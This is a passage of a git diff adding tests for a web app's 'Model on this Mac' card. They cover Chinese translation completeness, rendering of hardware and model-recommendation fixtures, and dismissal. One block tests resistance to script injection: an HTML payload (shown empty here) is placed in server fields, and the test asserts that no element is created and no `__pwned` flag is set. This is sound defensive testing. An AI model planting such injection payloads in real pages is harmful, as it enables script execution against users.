*/ +const small = new JSDOM('', { + runScripts: 'outside-only', + url: 'http://localhost/', +}); +vm.runInContext(I18N, small.getInternalVMContext(), { filename: 'i18n.js' }); +const api = (small.window as unknown as { CodemanI18n: Api }).CodemanI18n; +api.configure({ language: 'zh-CN' }); + +/** The real page, translated once, for the strings that live in index.html. */ +const page = new JSDOM(INDEX, { runScripts: 'outside-only', url: 'http://localhost/' }); +vm.runInContext(I18N, page.getInternalVMContext(), { filename: 'i18n.js' }); +const pageApi = (page.window as unknown as { CodemanI18n: Api }).CodemanI18n; +pageApi.start(); +pageApi.configure({ language: 'zh-CN' }); + +afterAll(() => { + small.window.close(); + page.window.close(); +}); + +/** The Settings group's static strings, as index.html ships them (English). */ +const GROUP_MARKUP = INDEX.match( + /
\s*

([^<]+)<\/h4><\/div>\s*

([^<]+)<\/p>/ +); +const STATIC = GROUP_MARKUP ? [GROUP_MARKUP[1].trim(), GROUP_MARKUP[2].trim()] : []; + +const ALL = [...new Set([...OWN, ...FROM_SERVER, ...STATIC])]; + +/** The `{slot}` names of a source text. */ +const slots = (text: string) => [...text.matchAll(/\{([a-zA-Z]\w*)\}/g)].map((m) => m[1]); + +/** U+2013, U+2014 and U+2015, built from their code points so this file holds none of them. */ +const LONG_DASH = new RegExp(`[${String.fromCharCode(0x2013, 0x2014, 0x2015)}]`); + +/** What may stay Latin: the product, the platform and its vendors, the unit, and Token (the dictionary's own word). */ +const leftover = (text: string) => + text.replace(/\b(Codeman|macOS|Mac|GB|Apple|Intel|Token)\b/g, '').match(/[A-Za-z]+/g) ?? []; + +describe('the local model strings in zh-CN', () => { + it('harvests the module (the check is not vacuous)', () => { + expect(FROM_MODULE).toContain('Model on this Mac'); + expect(FROM_MODULE).toContain('{model} ({id}) with {harness}'); + expect(FROM_MODULE).toContain('Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).'); + expect(FROM_MODULE).toContain('Setting this up from Codeman is the next step. It is not built yet.'); + expect(FROM_MODULE).toContain('Checking this Mac…'); + expect(FROM_MODULE.length).toBeGreaterThanOrEqual(18); + // The only other way the module calls its translator is with payload text (a server + // sentence or label), so no string of its own can reach the page unharvested. + const code = MODULE.split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); + const calls = code.split('localModelT(').length - 1; + const literalCalls = [...code.matchAll(/localModelT\(\s*'/g)].length; + const payloadCalls = [...code.matchAll(/localModelT\((message\.text, message\.vars|label)\)/g)].length; + // One more: the function's own declaration. + expect(calls).toBe(literalCalls + payloadCalls + 1); + expect(payloadCalls).toBe(2); + }); + + it('lists every server label, the none reasons included', () => { + // A label added to the contract later fails below by its text, not here by a count. + expect(FROM_SERVER.length).toBeGreaterThanOrEqual(14); + for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text); + expect(FROM_SERVER).toContain('Best fit for this Mac'); + expect(FROM_SERVER).toContain('Speed unknown'); + }); + + it('never uses the translator slot {name} for a value of its own', () => { + for (const text of ALL) expect(slots(text), text).not.toContain('name'); + }); + + it.each(ALL)('translates %s, with no English left', (text) => { + const chinese = api.t(text); + expect(chinese).not.toBe(text); + expect(leftover(chinese)).toEqual([]); + // No long dash in any form: commas, colons and parentheses only. + expect(chinese).not.toMatch(LONG_DASH); + }); + + it.each(ALL.filter((text) => slots(text).length > 0))('keeps every slot of %s', (text) => { + // Digits only, so a marker is neither translated nor counted as leftover English. + const vars = Object.fromEntries(slots(text).map((slot, i) => [slot, `90${i}1`])); + const chinese = api.t(text, vars); + for (const value of Object.values(vars)) expect(chinese, `${text} lost a slot`).toContain(value); + expect(chinese).not.toMatch(/[{}]/); + }); + + it('keeps the product name a slot, so a custom display name reaches the Chinese text', () => { + api.configure({ language: 'zh-CN', displayName: 'Acme' }); + try { + for (const text of ALL.filter((candidate) => candidate.includes('Codeman'))) { + const chinese = api.t(text); + expect(chinese, text).toContain('Acme'); + expect(chinese, text).not.toContain('Codeman'); + } + } finally { + api.configure({ language: 'zh-CN', displayName: 'Codeman' }); + } + }); + + it('adds each key to the dictionary once', () => { + // A repeated key in the object literal silently replaces the first. Prettier leaves a key + // that is one word unquoted. + for (const text of ALL) { + const bare = /^\w+$/.test(text) ? I18N.split(`\n ${text}: `).length - 1 : 0; + expect(I18N.split(`'${text}':`).length - 1 + bare, text).toBe(1); + } + }); + + it('translates the Settings group heading and hint in the page, and leaves both containers alone', () => { + expect(STATIC).toHaveLength(2); + expect(STATIC[0]).toBe('Model on this Mac'); + const translated = page.window.document.getElementById('localModelGroup')!; + const heading = translated.querySelector('.set-group-head h4')!.textContent!.trim(); + const hint = translated.querySelector('.set-group-hint')!.textContent!.trim(); + expect(heading).toBe('此 Mac 上的模型'); + expect(hint).not.toBe(STATIC[1]); + expect(hint).toBe(api.t(STATIC[1])); + expect(leftover(hint)).toEqual([]); + // Written only by the module, through its own translator call. + expect(INDEX).toMatch(/id="localModelCard"[^>]*data-i18n-skip/); + expect(INDEX).toMatch(/id="localModelSettings"[^>]*data-i18n-skip/); + }); +}); diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts new file mode 100644 index 00000000..1689d6ff --- /dev/null +++ b/test/local-model-ui.test.ts @@ -0,0 +1,797 @@ +/** + * @fileoverview The "Model on this Mac" card of the welcome screen and its App Settings row + * (src/web/public/local-model-ui.js), driven in JSDOM over the REAL index.html with the real + * module and a mocked `_api`. + * + * What is pinned: + * - every state the route can produce: loading, refused (403), failed, not macOS, each `none` + * reason, `limited`, `ok`; + * - the card stays hidden until the server answered for a Mac, and the Settings row carries + * the loading and failure sentences; + * - the card and the row show the SAME pick (one builder), the card folds the alternatives; + * - every payload string lands as text: an `` in a model, harness or chip name, + * or in a slot value of a server sentence, creates no element and runs nothing; + * - sizes are printed as sent (decimal GB text), and the word "Recommended" is the server's + * to send, never this module's; + * - the dismissal is a per-device localStorage key and survives a new app instance; + * - one request a minute at most, shared while in flight, and a failed refresh keeps the answer. + * + * The route answers 501 until the server stage lands, so the payloads here are fixtures typed + * with the contract's `LocalModelStatus`, built from `LOCAL_MODEL_LABELS`. + * + * Port: none. + */ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import vm from 'node:vm'; +import { JSDOM } from 'jsdom'; +import { afterAll, afterEach, describe, expect, it, vi } from 'vitest'; +import { LOCAL_MODEL_LABELS, LOCAL_MODEL_NONE_LABELS } from '../src/types.js'; +import type { + Candidate, + HardwareFacts, + LocalModelMessage, + LocalModelStatus, + NoneReason, + Recommendation, +} from '../src/types.js'; + +const PUBLIC = resolve(import.meta.dirname, '../src/web/public'); +const INDEX = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8'); +const MODULE = readFileSync(resolve(PUBLIC, 'local-model-ui.js'), 'utf8'); +const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8'); + +const DISMISS_KEY = 'codeman:local-model-dismissed'; +const NEXT_STEP = 'Setting this up from Codeman is the next step. It is not built yet.'; + +type ApiResponse = { ok: boolean; status: number; json(): Promise } | null; + +interface App { + _api: ReturnType; + loadLocalModel(): Promise; + renderLocalModel(): void; + dismissLocalModelCard(): void; + isLocalModelCardDismissed(): boolean; +} + +interface I18nApi { + configure(options: Record): void; + start(): void; +} + +/** + * The two containers exactly as index.html ships them, lifted out of the real page once. Each + * test then runs in a small page made of that markup: parsing the whole of index.html for + * every case would cost the gate half a minute and prove nothing more. + */ +const REAL = new JSDOM(INDEX); +const REAL_DOCUMENT = REAL.window.document; +const CARD_MARKUP = REAL_DOCUMENT.getElementById('localModelCard')?.outerHTML ?? ''; +const GROUP_MARKUP = REAL_DOCUMENT.getElementById('localModelGroup')?.outerHTML ?? ''; +const PAGE = ` +

${CARD_MARKUP}
+
${GROUP_MARKUP}
+`; + +const open: JSDOM[] = []; + +afterEach(() => { + for (const dom of open.splice(0)) dom.window.close(); +}); + +afterAll(() => { + REAL.window.close(); +}); + +/** A response as `_api` hands it over, the server's envelope included. */ +function ok(data: unknown): ApiResponse { + return { ok: true, status: 200, json: async () => ({ success: true, data }) }; +} + +function refusal(status: number, errorCode: string): ApiResponse { + return { ok: false, status, json: async () => ({ success: false, error: 'no', errorCode }) }; +} + +/** + * The real markup with the real module in it. `CodemanApp` is the only stand-in: app.js defines + * it as a classic-script global, and the module mixes into its prototype. + */ +function mount(options: { i18n?: boolean; before?: string } = {}) { + const dom = new JSDOM(PAGE, { runScripts: 'outside-only', url: 'http://localhost/' }); + open.push(dom); + const context = dom.getInternalVMContext(); + if (options.i18n) vm.runInContext(I18N, context, { filename: 'i18n.js' }); + if (options.before) vm.runInContext(options.before, context); + vm.runInContext('function CodemanApp() {}', context); + vm.runInContext(MODULE, context, { filename: 'local-model-ui.js' }); + const document = dom.window.document; + const newApp = (response?: ApiResponse | (() => Promise)) => { + const app = vm.runInContext('new CodemanApp()', context) as App; + app._api = vi.fn(async () => (typeof response === 'function' ? response() : (response ?? null))); + return app; + }; + return { + dom, + document, + newApp, + card: document.getElementById('localModelCard')!, + row: document.getElementById('localModelSettings')!, + group: document.getElementById('localModelGroup')!, + i18n: (dom.window as unknown as { CodemanI18n: I18nApi }).CodemanI18n, + }; +} + +/** Text of every element with that class under a root, in document order. */ +function texts(root: Element, selector: string): string[] { + return [...root.querySelectorAll(selector)].map((el) => el.textContent ?? ''); +} + +/** Lets a queued MutationObserver callback (a microtask in JSDOM) run. */ +const settle = () => new Promise((done) => setTimeout(done, 0)); + +// ---------- Fixtures (the contract's types) ---------- + +/** The MacBook of the probe: 48 GB as sold, a chip that is in no chips row. */ +const HARDWARE: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + model: 'Mac17,13', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: 912308310016, + freeDiskGb: '912', + source: 'sysctl', +}; + +function candidate(over: Partial = {}): Candidate { + return { + modelId: 'qwen3.8:27b', + modelLabel: 'Qwen3.8 27B', + license: 'Apache-2.0', + paramsB: 27.8, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: true, + needBytes: 29551160064, + needGb: '29.6', + downloadBytes: 17740000000, + downloadGb: '17.7', + budgetShare: 0.79, + fit: 'good', + fitLabel: LOCAL_MODEL_LABELS.fitGood, + speed: 'unknown', + speedLabel: LOCAL_MODEL_LABELS.speedUnknown, + tested: false, + ...over, + }; +} + +const ALT_SLOW = candidate({ + modelId: 'qwen3.8:27b-q8_0', + modelLabel: 'Qwen3.8 27B Q8', + context: 65536, + needGb: '36.4', + downloadGb: '30.0', + budgetShare: 0.97, + fit: 'tight', + fitLabel: LOCAL_MODEL_LABELS.fitTight, + speed: 'slow', + speedLabel: LOCAL_MODEL_LABELS.speedSlow, + tokensPerSecond: 5.2, +}); + +const ALT_FAST = candidate({ + modelId: 'qwen3.6:35b-a3b', + modelLabel: 'Qwen3.6 35B-A3B', + needGb: '26.4', + downloadGb: '22.6', + budgetShare: 0.7, + speed: 'ok', + speedLabel: undefined, + tokensPerSecond: 41.7, +}); + +function status(recommendation: Partial, hardware: Partial = {}): LocalModelStatus { + return { + hardware: { ...HARDWARE, ...hardware }, + recommendation: { + verdict: 'ok', + headline: { text: LOCAL_MODEL_LABELS.headlineOk }, + notes: [], + alternatives: [], + budgetBytes: 37580963840, + budgetGb: '37.6', + budgetSource: 'estimated', + ...recommendation, + }, + catalogUpdated: '2026-11-06', + }; +} + +const OK_STATUS = status({ + notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }], + pick: candidate(), + alternatives: [ALT_FAST, ALT_SLOW], +}); + +const LIMITED_STATUS = status( + { + verdict: 'limited', + headline: { text: LOCAL_MODEL_LABELS.headlineLimited }, + notes: [{ text: LOCAL_MODEL_LABELS.noteUntested }], + pick: candidate({ + modelId: 'qwen3.5:9b', + modelLabel: 'Qwen3.5 9B', + paramsB: 9.7, + context: 65536, + needGb: '10.9', + downloadGb: '6.6', + budgetShare: 0.87, + fit: 'tight', + fitLabel: LOCAL_MODEL_LABELS.fitTight, + speed: 'ok', + speedLabel: undefined, + tokensPerSecond: 11.16, + }), + budgetGb: '12.5', + }, + { memGb: '19.3', memClassGb: 18, chip: 'Apple M4' } +); + +/** A `none` answer: no pick, the reason's sentence as headline, its slots in `vars`. */ +function none(reason: NoneReason, vars?: Record, hardware: Partial = {}) { + const headline: LocalModelMessage = { text: LOCAL_MODEL_NONE_LABELS[reason], ...(vars ? { vars } : {}) }; + return status({ verdict: 'none', reason, headline, budgetBytes: 0, budgetGb: '0.0' }, hardware); +} + +const NONE_CASES: Array<{ reason: Exclude; answer: LocalModelStatus; sentence: string }> = [ + { + reason: 'intel', + answer: none('intel', undefined, { arch: 'x64', arm64: false, chip: 'Intel(R) Core(TM) i7-9750H' }), + sentence: 'This Mac has an Intel processor. Local coding models need Apple silicon.', + }, + { + reason: 'memory', + answer: none('memory', { memory: '8.6' }, { memGb: '8.6', memClassGb: 8 }), + sentence: + 'This Mac has 8.6 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + }, + { + reason: 'disk', + answer: none('disk', { download: '17.7', free: '12.0', missing: '16.4' }, { freeDiskGb: '12.0' }), + sentence: + 'Not enough free disk space. The smallest model that fits this Mac is a 17.7 GB download and 12.0 GB is free. Free up about 16.4 GB.', + }, + { + reason: 'macos', + answer: none('macos', { version: '13.6', minimum: '14' }, { macosVersion: '13.6', macosMajor: 13 }), + sentence: 'This Mac runs macOS 13.6. Local models need macOS 14 or newer.', + }, + { + reason: 'no-harness', + answer: none('no-harness'), + sentence: 'No coding agent that Codeman can connect to a local model is available on this Mac.', + }, +]; + +// ---------- The page ---------- + +describe('the markup the module fills', () => { + it('ships the card hidden on the welcome screen and one read-only group in Settings > Models', () => { + const card = REAL_DOCUMENT.getElementById('localModelCard')!; + const row = REAL_DOCUMENT.getElementById('localModelSettings')!; + const group = REAL_DOCUMENT.getElementById('localModelGroup')!; + expect(card.hidden).toBe(true); + expect(card.closest('#welcomeOverlay .welcome-content')).not.toBeNull(); + expect(card.hasAttribute('data-i18n-skip')).toBe(true); + // A direct child of the column (no wrapper that would hold a margin open while the card is + // hidden), under the Resume list and above the sessions opened outside Codeman. + const order = [...REAL_DOCUMENT.querySelector('.welcome-content')!.children].map((el) => el.id || el.className); + expect(order.indexOf('localModelCard')).toBeGreaterThan(order.indexOf('historySessions')); + expect(order.indexOf('localModelCard')).toBeLessThan(order.indexOf('welcome-foreign')); + // The phone overview is a different screen and does not carry the card. + expect(card.closest('#mobileOverview')).toBeNull(); + + expect(group.closest('#appSettingsModal #settings-models')).not.toBeNull(); + // Its own group: the endpoints toggle hides #customModelEndpointsBody, and this answer does not depend on it. + expect(row.closest('#customModelEndpointsBody')).toBeNull(); + expect(row.closest('#customModelEndpointsGroup')).toBeNull(); + expect(row.closest('.set-row')).not.toBeNull(); + expect(row.hasAttribute('data-i18n-skip')).toBe(true); + // Read-only: no control of any kind in the group. + expect(group.querySelectorAll('input, select, button, textarea').length).toBe(0); + expect(INDEX.split('').length - 1).toBe(1); + }); + + it('is what every other test here runs on', () => { + const { card, row, group } = mount(); + expect(card.outerHTML).toBe(CARD_MARKUP); + expect(group.outerHTML).toBe(GROUP_MARKUP); + expect(row.textContent).toBe(''); + }); + + it('is wired into the two places that show it', () => { + const read = (file: string) => readFileSync(resolve(PUBLIC, file), 'utf8'); + // The welcome screen (not the phone overview branch above it) and App Settings. + expect(read('terminal-ui.js').split('this.loadLocalModel?.();').length - 1).toBe(1); + expect(read('settings-ui.js').split('this.loadLocalModel?.();').length - 1).toBe(1); + }); +}); + +describe('before there is an answer', () => { + it('keeps the card hidden while the request is in flight, and says so in Settings', async () => { + const { newApp, card, row } = mount(); + let answer!: (response: ApiResponse) => void; + const app = newApp(() => new Promise((done) => (answer = done))); + const loading = app.loadLocalModel(); + expect(card.hidden).toBe(true); + expect(card.textContent).toBe(''); + expect(row.textContent).toBe('Checking this Mac…'); + answer(ok(OK_STATUS)); + await loading; + expect(card.hidden).toBe(false); + expect(row.textContent).not.toContain('Checking this Mac…'); + }); + + it.each([ + ['the route answers 501', refusal(501, 'OPERATION_FAILED')], + ['the request never reached the server', null], + ['the body is not the envelope', { ok: true, status: 200, json: async () => ({ hello: 'world' }) }], + ['the body is not JSON', { ok: true, status: 200, json: async () => Promise.reject(new Error('bad')) }], + ['the data carries no recommendation', ok({ hardware: HARDWARE })], + ] as Array<[string, ApiResponse]>)('shows a failed request only in Settings: %s', async (_name, response) => { + const { newApp, card, row, group } = mount(); + const app = newApp(response); + await app.loadLocalModel(); + // Nothing is known about the machine, so the welcome screen gets no card at all. + expect(card.hidden).toBe(true); + expect(group.style.display).toBe(''); + expect(row.textContent).toBe('Could not reach the server.'); + }); + + it('asks again the next time it is shown after a failure', async () => { + const { newApp, card, row } = mount(); + const answers: ApiResponse[] = [null, ok(OK_STATUS)]; + const app = newApp(async () => answers.shift() ?? null); + await app.loadLocalModel(); + expect(row.textContent).toBe('Could not reach the server.'); + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(2); + expect(card.hidden).toBe(false); + expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); + }); +}); + +describe('a refused request (a non-admin in multi-user mode)', () => { + it('shows neither the card nor the Settings group, and stops asking', async () => { + const { newApp, card, row, group } = mount(); + const app = newApp(refusal(403, 'FORBIDDEN')); + await app.loadLocalModel(); + expect(card.hidden).toBe(true); + expect(group.style.display).toBe('none'); + expect(row.textContent).toBe(''); + await app.loadLocalModel(); + expect(app._api).toHaveBeenCalledTimes(1); + }); + + it('does not ask at all once the page knows the role, and asks when the role turns out to be admin', async () => { + const { dom, document, newApp, card, group } = mount(); + const win = dom.window as unknown as { __codemanUser?: { multiUser: boolean; role: string } }; + win.__codemanUser = { multiUser: true, role: 'user' }; + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + expect(app._api).not.toHaveBeenCalled(); + expect(group.style.display).toBe('none'); + expect(card.hidden).toBe(true); + + win.__codemanUser = { multiUser: true, role: 'admin' }; + document.dispatchEvent(new dom.window.CustomEvent('codeman:me')); + await vi.waitFor(() => expect(card.hidden).toBe(false)); + expect(app._api).toHaveBeenCalledTimes(1); + expect(group.style.display).toBe(''); + }); +}); + +describe('a server that is not a Mac', () => { + it('hides the card and leaves one plain sentence in Settings', async () => { + const { newApp, card, row, group } = mount(); + const answer = none('not-macos', undefined, { + platform: 'linux', + arch: 'x64', + arm64: undefined, + chip: 'AMD Ryzen 9 7950X', + source: 'not-probed', + }); + await newApp(ok(answer)).loadLocalModel(); + expect(card.hidden).toBe(true); + expect(card.textContent).toBe(''); + expect(group.style.display).toBe(''); + expect(row.textContent).toBe('Codeman recommends a local model only on a Mac with Apple silicon.'); + // No line listing another machine's parts under a heading that says "this Mac". + expect(row.querySelector('.local-model-hw')).toBeNull(); + }); +}); + +describe('verdict none on a Mac', () => { + it.each(NONE_CASES)('says why for $reason, with the numbers the server sent', async ({ answer, sentence }) => { + const { newApp, card, row } = mount(); + await newApp(ok(answer)).loadLocalModel(); + expect(card.hidden).toBe(false); + for (const root of [card, row]) { + expect(texts(root, '.local-model-headline')).toEqual([sentence]); + expect(texts(root, '.local-model-hw')).toHaveLength(1); + expect(root.querySelector('.local-model-pick')).toBeNull(); + expect(root.querySelector('.local-model-alts')).toBeNull(); + // Nothing to set up, so no line about setting it up. + expect(root.textContent).not.toContain(NEXT_STEP); + expect(root.textContent).not.toContain('Recommended'); + } + }); + + it('covers every reason the contract knows', () => { + const covered = [...NONE_CASES.map((c) => c.reason), 'not-macos'].sort(); + expect(covered).toEqual(Object.keys(LOCAL_MODEL_NONE_LABELS).sort()); + }); +}); + +describe('verdict ok', () => { + it('shows the hardware, the headline, the pick with its numbers, the note and the next step', async () => { + const { newApp, card } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + expect(card.hidden).toBe(false); + expect(texts(card, '.local-model-title')).toEqual(['Model on this Mac']); + expect(texts(card, '.local-model-hw')).toEqual(['Apple M5 Pro, 51.5 GB memory, 912 GB free']); + expect(texts(card, '.local-model-headline')).toEqual(['Best fit for this Mac']); + expect(texts(card, '.local-model-note')).toEqual(['Not yet tested by us on a Mac like this.']); + + const pick = card.querySelector('.local-model-pick')!; + expect(texts(pick, '.local-model-name')).toEqual(['Qwen3.8 27B (qwen3.8:27b) with OpenCode']); + expect(texts(pick, '.local-model-pill')).toEqual(['Good', 'Speed unknown']); + expect(texts(pick, '.local-model-line')).toEqual([ + 'Context 131,072 tokens · 17.7 GB download · Apache-2.0', + 'Needs about 29.6 GB of the 37.6 GB this Mac can give a model (estimated).', + ]); + expect(texts(card, '.local-model-next')).toEqual([NEXT_STEP]); + }); + + it('never says "Recommended" for a pick nobody tested: that word is the server\'s to send', async () => { + const { newApp, card, row } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + expect(card.textContent).not.toMatch(/recommend/i); + expect(row.textContent).not.toMatch(/recommend/i); + // The module holds no such string of its own (comments aside). + const code = MODULE.split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); + expect(code).not.toMatch(/Recommended/); + }); + + it('shows the tested headline only because the server sent it', async () => { + const { newApp, card } = mount(); + const tested = status({ headline: { text: LOCAL_MODEL_LABELS.headlineTested }, pick: candidate({ tested: true }) }); + await newApp(ok(tested)).loadLocalModel(); + expect(texts(card, '.local-model-headline')).toEqual(['Recommended for this Mac']); + }); + + it('lists the other models that fit with Good, Tight, Slow or Speed unknown', async () => { + const { newApp, card } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + const alts = card.querySelector('.local-model-alts')!; + expect(texts(alts, '.local-model-alts-title')).toEqual(['Other models that fit2']); + expect(texts(alts, '.local-model-count')).toEqual(['2']); + const rows = [...alts.querySelectorAll('.local-model-alt')]; + expect(rows.map((row) => texts(row, '.local-model-name')[0])).toEqual([ + 'Qwen3.6 35B-A3B (qwen3.6:35b-a3b) with OpenCode', + 'Qwen3.8 27B Q8 (qwen3.8:27b-q8_0) with OpenCode', + ]); + // A candidate whose speed is fine carries a fit label only. + expect(rows.map((row) => texts(row, '.local-model-pill'))).toEqual([['Good'], ['Tight', 'Slow']]); + expect(rows.map((row) => texts(row, '.local-model-line')[0])).toEqual([ + 'Context 131,072 tokens · 26.4 GB of memory · 22.6 GB download', + 'Context 65,536 tokens · 36.4 GB of memory · 30.0 GB download', + ]); + }); + + it('prints every size exactly as sent, in one unit', async () => { + const { newApp, card, row } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + for (const root of [card, row]) { + const text = root.textContent ?? ''; + expect(text).not.toMatch(/GiB|MiB|\bMB\b|bytes/); + // Every number in front of the unit is one the payload carries as text. + const printed = [...text.matchAll(/([\d.,]+) GB/g)].map((m) => m[1]); + const sent = ['51.5', '912', '37.6', '29.6', '17.7', '26.4', '22.6', '36.4', '30.0']; + expect(printed.length).toBeGreaterThanOrEqual(sent.length); + expect(printed.filter((value) => !sent.includes(value))).toEqual([]); + } + }); + + it('calls a budget that is the wired limit of this Mac a fact, not an estimate', async () => { + const { newApp, card } = mount(); + const wired = status({ pick: candidate(), budgetSource: 'wired-limit', budgetGb: '40.0' }); + await newApp(ok(wired)).loadLocalModel(); + expect(texts(card, '.local-model-pick .local-model-line')[1]).toBe( + 'Needs about 29.6 GB of the 40.0 GB this Mac can give a model.' + ); + }); + + it('adds the speed, a missing harness and a slow first answer only when the payload says so', async () => { + const { newApp, card } = mount(); + const pick = candidate({ + speed: 'ok', + speedLabel: undefined, + tokensPerSecond: 12.3, + cliInstalled: false, + slowFirstTurn: true, + cliLabel: 'Some Harness', + }); + await newApp(ok(status({ pick }))).loadLocalModel(); + expect(texts(card, '.local-model-pick .local-model-pill')).toEqual(['Good']); + expect(texts(card, '.local-model-pick .local-model-line').slice(2)).toEqual([ + 'About 12 tokens per second (estimated).', + 'Some Harness is not installed on this Mac yet.', + 'With Some Harness, the first answer can take minutes.', + ]); + }); + + it('describes the hardware with whatever parts the probe got', async () => { + const { newApp, card } = mount(); + const cases: Array<[Partial, string]> = [ + [{ freeDiskBytes: undefined, freeDiskGb: undefined }, 'Apple M5 Pro, 51.5 GB memory'], + [{ chip: undefined }, 'Mac17,13, 51.5 GB memory, 912 GB free'], + [{ chip: undefined, model: undefined }, '51.5 GB memory, 912 GB free'], + [{ chip: undefined, model: undefined, freeDiskBytes: undefined, freeDiskGb: undefined }, '51.5 GB memory'], + ]; + for (const [hardware, line] of cases) { + await newApp(ok(status({ pick: candidate() }, hardware))).loadLocalModel(); + expect(texts(card, '.local-model-hw')).toEqual([line]); + } + }); +}); + +describe('verdict limited', () => { + it('says what a small model is good for, shows the pick, and never recommends', async () => { + const { newApp, card, row } = mount(); + await newApp(ok(LIMITED_STATUS)).loadLocalModel(); + expect(card.hidden).toBe(false); + for (const root of [card, row]) { + expect(texts(root, '.local-model-headline')).toEqual([ + 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', + ]); + expect(texts(root, '.local-model-hw')).toEqual(['Apple M4, 19.3 GB memory, 912 GB free']); + expect(texts(root, '.local-model-name')).toEqual(['Qwen3.5 9B (qwen3.5:9b) with OpenCode']); + expect(texts(root, '.local-model-pill')).toEqual(['Tight']); + expect(texts(root, '.local-model-pick .local-model-line')).toEqual([ + 'Context 65,536 tokens · 6.6 GB download · Apache-2.0', + 'Needs about 10.9 GB of the 12.5 GB this Mac can give a model (estimated).', + 'About 11 tokens per second (estimated).', + ]); + expect(texts(root, '.local-model-note')).toEqual(['Not yet tested by us on a Mac like this.']); + expect(texts(root, '.local-model-next')).toEqual([NEXT_STEP]); + expect(root.textContent).not.toMatch(/recommend/i); + expect(root.textContent).not.toContain('Best fit'); + } + }); +}); + +describe('the Settings row', () => { + it('shows the same answer as the card, with the alternatives open', async () => { + const { newApp, card, row } = mount(); + await newApp(ok(OK_STATUS)).loadLocalModel(); + for (const part of ['.local-model-hw', '.local-model-headline', '.local-model-pick', '.local-model-note']) { + expect(texts(row, part)).toEqual(texts(card, part)); + expect(texts(row, part).length).toBeGreaterThan(0); + } + expect(texts(row, '.local-model-alt')).toEqual(texts(card, '.local-model-alt')); + expect(texts(row, '.local-model-next')).toEqual([NEXT_STEP]); + // The card folds the list behind a native disclosure; Settings scrolls, so it lists them. + expect(card.querySelector('details.local-model-alts')).not.toBeNull(); + expect((card.querySelector('details') as HTMLDetailsElement).open).toBe(false); + expect(row.querySelector('details')).toBeNull(); + // The row has no chrome of the card: no title, no Hide. + expect(row.querySelector('button')).toBeNull(); + }); + + it('keeps the alternatives unfolded across a repaint of the card', async () => { + const { newApp, card } = mount(); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + (card.querySelector('details') as HTMLDetailsElement).open = true; + app.renderLocalModel(); + expect((card.querySelector('details') as HTMLDetailsElement).open).toBe(true); + }); +}); + +describe('payload text is text', () => { + const EVIL = ''; + + it('renders markup in a name, a license or a sentence slot as characters, and runs nothing', async () => { + const { dom, newApp, card, row } = mount(); + const evil = candidate({ modelLabel: EVIL, modelId: `m:${EVIL}`, cliLabel: EVIL, license: EVIL, needGb: EVIL }); + const answer = status( + { + // A slot value is server text too. + headline: { text: LOCAL_MODEL_LABELS.noneMacos, vars: { version: EVIL, minimum: EVIL } }, + notes: [{ text: LOCAL_MODEL_LABELS.noneMemory, vars: { memory: EVIL } }], + pick: evil, + alternatives: [evil], + budgetGb: EVIL, + }, + { chip: EVIL, memGb: EVIL, freeDiskGb: EVIL } + ); + await newApp(ok(answer)).loadLocalModel(); + expect(card.hidden).toBe(false); + for (const root of [card, row]) { + expect(root.querySelector('img')).toBeNull(); + expect(root.querySelector('script, iframe, a, [onerror]')).toBeNull(); + expect(texts(root, '.local-model-hw')[0]).toBe(`${EVIL}, ${EVIL} GB memory, ${EVIL} GB free`); + expect(texts(root, '.local-model-headline')[0]).toBe( + `This Mac runs macOS ${EVIL}. Local models need macOS ${EVIL} or newer.` + ); + expect(texts(root, '.local-model-name')[0]).toBe(`${EVIL} (m:${EVIL}) with ${EVIL}`); + expect(texts(root, '.local-model-pick .local-model-line')[0]).toContain(` · ${EVIL}`); + expect(texts(root, '.local-model-note')[0]).toContain(`This Mac has ${EVIL} GB of memory.`); + } + expect((dom.window as unknown as { __pwned?: number }).__pwned).toBeUndefined(); + }); + + it('never assigns markup: the module has no innerHTML, outerHTML or insertAdjacentHTML', () => { + expect(MODULE).not.toMatch(/innerHTML|outerHTML|insertAdjacentHTML|document\.write/); + }); + + it('shows a label the contract does not know as it came, still as text', async () => { + const { newApp, card } = mount(); + const odd = candidate({ fitLabel: EVIL as Candidate['fitLabel'], speedLabel: undefined }); + await newApp(ok(status({ pick: odd }))).loadLocalModel(); + expect(texts(card, '.local-model-pill')).toEqual([EVIL]); + expect(card.querySelector('img')).toBeNull(); + }); +}); + +describe('hiding the card', () => { + it('hides it on this device for good, and leaves the Settings row as the way back', async () => { + const { dom, newApp, card, row } = mount(); + const app = newApp(ok(OK_STATUS)); + await app.loadLocalModel(); + const hide = card.querySelector('button.local-model-hide') as HTMLButtonElement; + expect(hide.textContent).toBe('Hide'); + expect(hide.type).toBe('button'); + expect(hide.title).toBe('Hide this card on this device. It stays in App Settings, under Models.'); + hide.click(); + expect(card.hidden).toBe(true); + expect(card.textContent).toBe(''); + expect(dom.window.localStorage.getItem(DISMISS_KEY)).toBe('1'); + expect(texts(row, '.local-model-name')[0]).toBe('Qwen3.8 27B (qwen3.8:27b) with OpenCode'); + + // A reload is a new app instance over the same storage. + const reloaded = newApp(ok(OK_STATUS)); + 